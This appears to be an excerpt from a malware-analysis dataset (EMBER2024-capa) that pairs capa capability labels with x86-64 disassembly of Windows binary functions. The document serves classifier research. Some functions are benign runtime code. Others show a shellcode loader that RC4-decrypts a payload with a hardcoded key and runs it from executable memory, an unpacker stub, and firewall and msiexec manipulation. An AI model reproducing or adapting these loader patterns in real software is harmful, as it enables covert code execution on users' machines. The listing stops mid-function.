joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180588da4
Capabilities:
Encode data using xor

Disassembly:
xor r11d, r11d
test rcx, rcx
jmp 0x180598e2c
pop rsi
call fcn.18058e99a
mov r11d, 0x4e00b90a
mov rbx, qword [r11 + rdi - 0x4e00b90a]
mov ecx, r11d
and ecx, 0xe9b49107
mov r11, qword [rdi + rcx - 0x480090fa]
xor ecx, ecx
xadd cl, ch
xor cl, byte [rdi + rcx*4 + 0x10]
push 0xc966c2b
jmp 0x1805a08bc
lea rsp, [rsp + 8]
je 0x18058a72a
mov r8d, 0x3f853f12
shl r8d, 0x58
push rsi
mov esi, 0xf0347516
lea rsi, [0x180588430]
mov r8d, 0x56306b9d
movzx r8d, byte [r10 + r8 - 0x56306b9d]
push 0x2eb08917
xor r8d, r11d
and r8d, 0xff
mov r8d, dword [rsi + r8*4]
not dword [rsp]
shr r11d, 8
xor r11d, r8d
inc r10
inc word [rsp + 3]
xor r11d, 0x7f18eb3b
mov word [rsp + 4], 0x9c3b
dec rcx
lea rsp, [rsp + 8]
jne 0x180598e4e
jmp 0x18058a729
Function at 0x1402e6250
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1402e625d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1402e626d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1402e6255
lea eax, [rcx + 1]
jmp 0x1402e627b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1402e628e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1402e6274
sub eax, 3
jb 0x1402e62ae
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1402e62fd
sar eax, 1
movsxd rbp, eax
jb 0x1402e62e4
jmp 0x1402e62bc
add ebx, ebx
jne 0x1402e62ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1402e62e4
inc ecx
add ebx, ebx
jne 0x1402e62ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1402e62e4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1402e62dd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1402e62cc
add ecx, 2
jmp 0x1402e62e9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1402e6212
jmp 0x1402e625d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x17c00
mov dl, 7
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1402e6349
cmp rsi, rcx
jae 0x1402e6351
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1402e6330
cmp al, 0x8f
ja 0x1402e6330
cmp byte [rsi - 2], 0xf
je 0x1402e6336
sub al, 0xe8
cmp al, 1
ja 0x1402e631a
cmp rsi, rcx
jae 0x1402e6351
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1402e6320
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1402e6351
lodsb al, byte [rsi]
jmp 0x1402e6330
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x2e2000]
mov eax, dword [rdi]
or eax, eax
je 0x1402e63ae
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x311f30]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1402e635e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1402e63a8
mov qword [rbx], rax
add rbx, 8
jmp 0x1402e637e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1402e63e8
cmp al, 0xef
ja 0x1402e63da
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1402e63ba
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1402e63c9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1402e643c
sub rsp, 0xffffffffffffff80
jmp 0x140016db0
Function at 0x1800011b0
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Hash data via wincrypt
Initialize hashing via wincrypt
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x30
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea rdx, [0x180001100]
mov ecx, 1
mov qword [0x180068ae8], rax
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call fcn.180004430
call fcn.180003690
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.180003bc0
lea rdx, [0x180001090]
lea rcx, [0x180068af8]
call fcn.180002c70
lea rdx, [0x1800010b0]
lea rcx, [0x180068af0]
call fcn.180002c70
call 0x180003710
xor eax, eax
lea r8, [0x180001160]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea rdi, [0x180026ac0]
mov ebx, eax
test eax, eax
je 0x180001319
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov ebx, eax
test eax, eax
je 0x180001319
mov rcx, qword [rsp + 0x48]
lea rdx, str.123aop
xor r9d, r9d
mov r8d, 6
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov ebx, eax
test eax, eax
je 0x180001319
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6801
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov ebx, eax
test eax, eax
je 0x180001319
mov rcx, qword [rsp + 0x50]
lea rax, [0x1800678c0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
mov ebx, eax
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
test ebx, ebx
jne 0x18000134c
lea rcx, str.____Failed_to_decrypt__n
call fcn.180001030
mov edx, dword [0x1800678c0]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [0x1800678c0]
mov rdx, rdi
mov rcx, rax
mov qword [0x180068ad0], rax
mov rbx, rax
call fcn.1800181b0
mov edx, dword [0x1800678c0]
lea r9, [0x180068ad8]
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [0x180068ad0]
call fcn.180003690
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.180003bc0
lea rdx, [0x180001090]
lea rcx, [0x180068af8]
call fcn.1800032f0
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
jmp 0x180003710
sub rsp, 0x28
xor ecx, ecx
call fcn.180003720
add rsp, 0x28
ret
Function at 0x180001620
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.180001840
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x180001727
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x180001684
mov rax, qword [0x180026008]
cmp qword [rsp + 0x20], rax
ja 0x180001684
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x180001646
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.180018850
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1800016b3
jmp 0x180001727
cmp dword [rsp + 0x50], 0x10000
jne 0x18000170a
cmp qword [rsp + 0x48], 0x10000
jb 0x18000170a
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1800016f8
mov rax, qword [rsp + 0x28]
jmp 0x180001729
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x180001722
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.180001840
mov qword [rsp + 0x20], rax
jmp 0x180001646
xor eax, eax
add rsp, 0x68
ret

Function at 0x180001730
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.180001880
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x180001833
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x18000178b
mov rax, qword [0x180026008]
cmp qword [rsp + 0x20], rax
ja 0x18000178b
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18000174d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.180018850
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1800017ba
jmp 0x180001833
cmp dword [rsp + 0x50], 0x10000
jne 0x180001811
cmp qword [rsp + 0x48], 0x10000
jb 0x180001811
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1800017ff
mov rax, qword [rsp + 0x28]
jmp 0x180001835
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x18000182e
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.180001880
mov qword [rsp + 0x20], rax
jmp 0x18000174d
xor eax, eax
add rsp, 0x68
ret
Function at 0x180003f80
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [rsp + 0x90]
add rax, 0x10000
mov qword [rsp + 0x30], rax
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.180018850
jmp 0x180003fc8
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov r8d, 0x30
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
ja 0x180003fe8
jmp 0x180004085
cmp dword [rsp + 0x68], 0x1000
jne 0x18000400d
mov eax, dword [rsp + 0x6c]
and eax, 0xff
cmp eax, 1
je 0x18000400d
mov eax, dword [rsp + 0x6c]
and eax, 0x100
test eax, eax
je 0x18000400f
jmp 0x180003fb3
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x180004045
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
cmp rax, qword [rsp + 0x60]
ja 0x180004045
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
cmp rax, 0x40
jae 0x18000404a
jmp 0x180003fb3
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0x4550
jne 0x180003fb3
mov rax, qword [rsp + 0x20]
jmp 0x180004087
xor eax, eax
add rsp, 0x88
ret

Function at 0x18000b720
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18000b78f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000b78f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18000b78f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18000b78f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18000b78f
cmp dword [rcx + 0x84], 0xe
jbe 0x18000b78f
cmp dword [rcx + 0xf8], 0
je 0x18000b78f
mov ecx, ebx
call fcn.18000b834
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18000b628
nop
cmp dword [rbp + 0x20], 0
jne 0x18000b7f0
call fcn.18000f8ac
cmp eax, 1
jne 0x18000b7e0
xor dl, dl
jmp 0x18000b7ea
call fcn.18000f878
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x18000b7fb
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18000b804
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x18000b720
Function at 0x1800113ac
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800113dc
xor eax, eax
jmp 0x18001149f
mov rbp, rbx
cmp word [rax], si
je 0x180011401
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800113e8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800113e4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800112cc
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x180011442
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800113d5
call fcn.18000d4e0
mov rdi, rax
test rax, rax
jne 0x180011458
xor ecx, ecx
call fcn.18000c920
jmp 0x180011437
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800112cc
test eax, eax
jne 0x180011489
mov rcx, rdi
call fcn.18000c920
jmp 0x180011493
xor ecx, ecx
call fcn.18000c920
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180014cac
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180014cc2
mov al, 1
jmp 0x180014d2e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180014cd3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180014d2c
mov ecx, dword [rcx + 0x18]
nop
call fcn.180012cd8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180014d2c
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180014d2c
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180014d2c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180014d2e
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x180017e80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180017ea8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180017ea8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001710
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x14000172f
lea ecx, [rbx + 0x57]
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
add rsp, 0x20
pop rbx
ret
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x140001744
mov eax, 1
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000175e
and eax, 0x410
cmp eax, 0x410
je 0x140001771
lea rdx, [0x1400011d0]
mov rcx, rbx
call fcn.140001390
test eax, eax
je 0x140001780
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
add rsp, 0x20
pop rbx
ret

Function at 0x140001790
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor ebx, ebx
xor eax, eax
lock cmpxchg dword [0x140028060], ebx
mov ecx, eax
jne 0x1400017f2
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400017e5
lea rdx, str.RemoveDllDirectory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [rbx + 2]
test rax, rax
jne 0x1400017ea
mov ecx, 1
mov eax, ecx
xchg dword [0x140028060], eax
cmp ecx, 1
jne 0x140001980
mov qword [rsp + 0x260], rbp
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x268], rsi
xor edx, edx
mov qword [rsp + 0x270], rdi
mov r8d, 0x208
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x240], r15
call fcn.140007a90
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x14000197c
cmp word [rsp + 0x20], bx
je 0x14000197c
mov ebp, ebx
lea rax, [rsp + 0x20]
mov rsi, rbx
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], bx
jne 0x140001870
mov r15d, 0x5c
test rdi, rdi
je 0x1400018a3
movzx eax, word [rsp + rdi*2 + 0x1e]
mov rbx, rdi
cmp r15w, ax
je 0x1400018a3
mov ecx, 0x2f
cmp cx, ax
je 0x1400018a3
lea ebp, [rcx - 0x2e]
lea rbx, [rdi + 1]
add rbx, 0xc
je 0x14000197c
lea rbx, [rbx*2 + 2]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x14000197c
test rdi, rdi
je 0x1400018f1
lea r8, [rdi + rdi]
mov rcx, rax
lea rdx, [rsp + 0x20]
call fcn.14000a130
mov rsi, rdi
test ebp, ebp
je 0x1400018fd
mov word [r14 + rsi*2], r15w
inc rsi
movups xmm0, xmmword [str.Wtsapi32.dll]
mov rcx, r14
movups xmmword [r14 + rsi*2], xmm0
movsd xmm1, qword [0x1400219a8]
movsd qword [r14 + rsi*2 + 0x10], xmm1
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, rbx
mov r14, qword [rsp + 0x248]
mov rdi, qword [rsp + 0x270]
mov rsi, qword [rsp + 0x268]
mov rbp, qword [rsp + 0x260]
mov r15, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140005df0
add rsp, 0x250
pop rbx
ret
xor eax, eax
jmp 0x14000193b
xor edx, edx
lea rcx, str.Wtsapi32.dll
mov r8d, 0x800
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x140001963
Function at 0x1400022c0
Capabilities:
Access firewall policy via inetfwpolicy2

Disassembly:
push rbx
sub rsp, 0x30
mov ecx, dword [0x140026a00]
mov ebx, 0x80000000
lea eax, [rcx + rbx]
test ebx, eax
jne 0x140002305
cmp ecx, 0x80010106
je 0x140002305
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [0x140026a00], eax
lea ecx, [rax + rbx]
test ebx, ecx
jne 0x140002305
cmp eax, 0x80010106
jne 0x140002397
cmp qword [0x140027ff0], 0
jne 0x140002343
xor edx, edx
lea rax, [0x140027ff0]
lea r9, [0x140021df8]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021ea8]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x14000234e
cmp qword [0x140027ff0], 0
je 0x140002372
mov eax, 1
add rsp, 0x30
pop rbx
ret
mov rcx, qword [0x140027ff0]
test rcx, rcx
je 0x140002372
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
call qword [0x1400193d0]
mov qword [0x140027ff0], 0
mov ecx, dword [0x140026a00]
lea eax, [rcx + rbx]
test ebx, eax
jne 0x140002387
cmp ecx, 0x80010106
jne 0x140002397
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [0x140026a00], 0x80004005
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x140002ca0
Capabilities:
Check if file exists
Create directory
Delete directory
Get common file path
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x240
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20a
call fcn.140007a90
xor ebp, ebp
lea rdx, [rsp + 0x20]
xor r9d, r9d
xor ecx, ecx
mov ebx, ebp
lea r8d, [rbp + 0x26]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x140002e71
lea rdx, str.Zoom_bin
lea rcx, [rsp + 0x20]
call fcn.140004d50
mov rdi, rax
test rax, rax
je 0x140002e71
lea rdx, str.Zoom.exe
mov qword [rsp + 0x250], rsi
mov rcx, rax
call fcn.140004d50
mov rsi, rax
test rax, rax
je 0x140002df0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002df0
test al, 0x10
jne 0x140002df0
mov rcx, rsi
call fcn.1400059a0
test eax, eax
je 0x140002df0
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, str.temp
mov rcx, rdi
call fcn.140004d50
mov rbx, rax
test rax, rax
je 0x140002df0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140002dcc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002db0
and eax, 0x410
cmp eax, 0x410
je 0x140002dc3
lea rdx, [0x1400011d0]
mov rcx, rbx
call fcn.140001390
test eax, eax
je 0x140002dcc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140002de6
mov rcx, rbx
call fcn.14000cd64
mov rbx, rbp
mov rcx, rdi
call fcn.14000cd64
jmp 0x140002dfd
mov rcx, rdi
call fcn.14000cd64
test rsi, rsi
je 0x140002e05
mov rcx, rsi
call fcn.14000cd64
mov rsi, qword [rsp + 0x250]
test rbx, rbx
je 0x140002e71
mov rcx, qword [0x140028008]
test rcx, rcx
je 0x140002e64
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bp
jne 0x140002e25
cmp rax, 4
jb 0x140002e64
lea rcx, [rcx + rax*2]
mov r8d, 4
add rcx, 0xfffffffffffffff8
lea rdx, str..msi
call fcn.14000c920
test eax, eax
jne 0x140002e64
lea rdx, str.temp.msi
mov rcx, rbx
call fcn.140004d50
mov rbp, rax
mov rcx, rbx
call fcn.14000cd64
mov rax, rbp
jmp 0x140002e73
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140005df0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140003c60
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x460
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x412
call fcn.140007a90
mov edx, 0x208
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, str.system32msiexec.exe
lea rcx, [rsp + 0x30]
call fcn.140004d50
mov rbp, rax
test rax, rax
je 0x140003e16
mov rbx, 0xffffffffffffffff
mov rcx, rbx
nop dword [rax + rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140003ce0
add rcx, 1
je 0x140003e0e
lea r14, [rcx*2 + 2]
mov rcx, r14
call fcn.14000cd78
mov rsi, rax
test rax, rax
je 0x140003e0e
mov rdi, rax
mov rcx, r14
xor eax, eax
mov r8, rbx
rep stosb byte [rdi], al
movzx eax, word [0x140022064]
mov word [rsi], ax
nop word [rax + rax]
inc r8
cmp word [rbp + r8*2], 0
jne 0x140003d30
add r8, r8
lea rcx, [rsi + 2]
mov rdx, rbp
call fcn.14000a130
mov rcx, rbp
call fcn.14000cd64
mov rax, rbx
inc rax
cmp word [rsi + rax*2], 0
jne 0x140003d56
add rax, 1
jne 0x140003d6a
xor ebp, ebp
jmp 0x140003db8
lea r14, [rax*2 + 2]
mov rcx, r14
call fcn.14000cd78
mov rbp, rax
test rax, rax
je 0x140003db8
mov rdi, rbp
xor eax, eax
mov rcx, r14
rep stosb byte [rdi], al
nop dword [rax]
